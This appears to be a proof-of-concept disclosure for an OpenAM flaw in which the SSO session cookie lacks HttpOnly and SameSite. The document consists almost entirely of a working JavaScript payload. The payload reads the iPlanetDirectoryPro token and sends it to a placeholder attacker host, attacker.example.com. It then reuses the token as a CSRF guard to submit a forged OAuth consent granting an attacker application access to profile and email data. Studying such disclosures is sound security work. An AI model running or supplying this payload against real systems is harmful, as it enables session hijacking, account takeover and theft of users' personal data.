CVE-2026-53660: OpenAM Insecure SSO Cookie Initialization (Missing HttpOnly and SameSite)

// Any same-origin XSS on the OpenAM origin hits this:
var token = document.cookie
  .split('; ')
  .find(c => c.startsWith('iPlanetDirectoryPro='))
  .split('=')[1];

// 1. Exfiltrate session token (session hijack)
new Image().src = 'https://attacker.example.com/steal?t=' + encodeURIComponent(token);

// 2. Complete attacker-driven OAuth consent in same step
// token doubles as the CSRF guard on the consent endpoint
fetch('/openam/oauth2/authorize/consent', {
  method: 'POST',
  credentials: 'include',
  headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
  body: 'decision=allow&csrf=' + encodeURIComponent(token)
    + '&client_id=attacker-app&scope=openid+profile+email'
});